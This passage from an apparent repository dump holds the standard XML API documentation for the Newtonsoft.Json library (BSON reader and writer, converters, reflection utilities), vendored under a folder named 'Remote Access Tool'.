</member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberUnderlyingType(System.Reflection.MemberInfo)\">\n            <summary>\n            Gets the member's underlying type.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <returns>The underlying type of the member.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.IsIndexedProperty(System.Reflection.PropertyInfo)\">\n            <summary>\n            Determines whether the property is an indexed property.\n            </summary>\n            <param name=\"property\">The property.</param>\n            <returns>\n            \t<c>true</c> if the property is an indexed property; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.GetMemberValue(System.Reflection.MemberInfo,System.Object)\">\n            <summary>\n            Gets the member's value on the object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target object.</param>\n            <returns>The member's value on the object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.SetMemberValue(System.Reflection.MemberInfo,System.Object,System.Object)\">\n            <summary>\n            Sets the member's value on the target object.\n            </summary>\n            <param name=\"member\">The member.</param>\n            <param name=\"target\">The target.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanReadMemberValue(System.Reflection.MemberInfo,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be read.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be read.</param>\n            /// <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be gotten non-publicly.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be read; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.ReflectionUtils.CanSetMemberValue(System.Reflection.MemberInfo,System.Boolean,System.Boolean)\">\n            <summary>\n            Determines whether the specified MemberInfo can be set.\n            </summary>\n            <param name=\"member\">The MemberInfo to determine whether can be set.</param>\n            <param name=\"nonPublic\">if set to <c>true</c> then allow the member to be set non-publicly.</param>\n            <param name=\"canSetReadOnly\">if set to <c>true</c> then allow the member to be set if read-only.</param>\n            <returns>\n            \t<c>true</c> if the specified MemberInfo can be set; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Utilities.StringBuffer\">\n            <summary>\n            Builds a string. Unlike <see cref=\"T:System.Text.StringBuilder\"/> this class lets you reuse its internal buffer.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Utilities.StringUtils.IsWhiteSpace(System.String)\">\n            <summary>\n            Determines whether the string is all white space. Empty string will return <c>false</c>.\n            </summary>\n            <param name=\"s\">The string to test whether it is all white space.</param>\n            <returns>\n            \t<c>true</c> if the string is all white space; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.WriteState\">\n            <summary>\n            Specifies the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Error\">\n            <summary>\n            An exception has been thrown, which has left the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in an invalid state.\n            You may call the <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method to put the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> in the <c>Closed</c> state.\n            Any other <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> method calls result in an <see cref=\"T:System.InvalidOperationException\"/> being thrown.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonWriter.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Object\">\n            <summary>\n            An object is being written. \n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Array\">\n            <summary>\n            An array is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Constructor\">\n            <summary>\n            A constructor is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Property\">\n            <summary>\n            A property is being written.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.WriteState.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> write method has not been called.\n            </summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullAttribute\">\n            <summary>Specifies that an output will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute\">\n            <summary>Specifies that when a method returns <see cref=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\"/>, the parameter will not be null even if the corresponding type allows it.</summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.#ctor(System.Boolean)\">\n            <summary>Initializes the attribute with the specified return value condition.</summary>\n            <param name=\"returnValue\">\n            The return value condition. If the method returns this value, the associated parameter will not be null.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.NotNullWhenAttribute.ReturnValue\">\n            <summary>Gets the return value condition.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.MaybeNullAttribute\">\n            <summary>Specifies that an output may be null even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.AllowNullAttribute\">\n            <summary>Specifies that null is allowed as an input even if the corresponding type disallows it.</summary>\n        </member>\n        <member name=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\">\n            <summary>\n            Specifies that the method will not return if the associated Boolean parameter is passed the specified value.\n            </summary>\n        </member>\n        <member name=\"M:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute\"/> class.\n            </summary>\n            <param name=\"parameterValue\">\n            The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to\n            the associated parameter matches this value.\n            </param>\n        </member>\n        <member name=\"P:System.Diagnostics.CodeAnalysis.DoesNotReturnIfAttribute.ParameterValue\">\n            <summary>Gets the condition parameter value.</summary>\n        </member>\n    </members>\n</doc>\n"
  },
  {
    "path": "Remote Access Tool/packages/Newtonsoft.Json.13.0.1/lib/netstandard1.0/Newtonsoft.Json.xml",
    "content": "<?xml version=\"1.0\"?>\n<doc>\n    <assembly>\n        <name>Newtonsoft.Json</name>\n    </assembly>\n    <members>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonObjectId\">\n            <summary>\n            Represents a BSON Oid (object id).\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonObjectId.Value\">\n            <summary>\n            Gets or sets the value of the Oid.\n            </summary>\n            <value>The value of the Oid.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonObjectId.#ctor(System.Byte[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> class.\n            </summary>\n            <param name=\"value\">The Oid value.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.JsonNet35BinaryCompatibility\">\n            <summary>\n            Gets or sets a value indicating whether binary data reading should be compatible with incorrect Json.NET 3.5 written binary.\n            </summary>\n            <value>\n            \t<c>true</c> if binary data reading will be compatible with incorrect Json.NET 3.5 written binary; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.ReadRootValueAsArray\">\n            <summary>\n            Gets or sets a value indicating whether the root object will be read as a JSON array.\n            </summary>\n            <value>\n            \t<c>true</c> if the root object will be read as a JSON array; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonReader.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.Stream,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.#ctor(System.IO.BinaryReader,System.Boolean,System.DateTimeKind)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonReader\"/> class.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.BinaryReader\"/> containing the BSON data to read.</param>\n            <param name=\"readRootValueAsArray\">if set to <c>true</c> the root object will be read as a JSON array.</param>\n            <param name=\"dateTimeKindHandling\">The <see cref=\"T:System.DateTimeKind\" /> used when reading <see cref=\"T:System.DateTime\"/> values from BSON.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:System.IO.Stream\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Bson.BsonWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating BSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Bson.BsonWriter.DateTimeKindHandling\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.\n            When set to <see cref=\"F:System.DateTimeKind.Unspecified\" /> no conversion will occur.\n            </summary>\n            <value>The <see cref=\"T:System.DateTimeKind\" /> used when writing <see cref=\"T:System.DateTime\"/> values to BSON.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.Stream)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"stream\">The <see cref=\"T:System.IO.Stream\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.#ctor(System.IO.BinaryWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Bson.BsonWriter\"/> class.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:System.IO.BinaryWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.Stream\"/> and also flushes the underlying stream.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRawValue(System.String)\">\n            <summary>\n            Writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.Stream\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteObjectId(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value that represents a BSON object id.\n            </summary>\n            <param name=\"value\">The Object ID value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Bson.BsonWriter.WriteRegex(System.String,System.String)\">\n            <summary>\n            Writes a BSON regex.\n            </summary>\n            <param name=\"pattern\">The regex pattern.</param>\n            <param name=\"options\">The regex options.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.ConstructorHandling\">\n            <summary>\n            Specifies how constructors are used when initializing objects during deserialization by the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.Default\">\n            <summary>\n            First attempt to use the public default constructor, then fall back to a single parameterized constructor, then to the non-public default constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.ConstructorHandling.AllowNonPublicDefaultConstructor\">\n            <summary>\n            Json.NET will use a non-public default constructor before falling back to a parameterized constructor.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BinaryConverter\">\n            <summary>\n            Converts a binary value to and from a base 64 string value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BinaryConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.BsonObjectIdConverter\">\n            <summary>\n            Converts a <see cref=\"T:Newtonsoft.Json.Bson.BsonObjectId\"/> to and from JSON and BSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.BsonObjectIdConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.CustomCreationConverter`1\">\n            <summary>\n            Creates a custom object.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.Create(System.Type)\">\n            <summary>\n            Creates an object which will then be populated by the serializer.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>The created object.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.CustomCreationConverter`1.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value>\n            \t<c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DateTimeConverterBase\">\n            <summary>\n            Provides a base class for converting a <see cref=\"T:System.DateTime\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DateTimeConverterBase.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.DiscriminatedUnionConverter\">\n            <summary>\n            Converts a F# discriminated union type to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.DiscriminatedUnionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.ExpandoObjectConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Dynamic.ExpandoObject\"/> to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.ExpandoObjectConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member 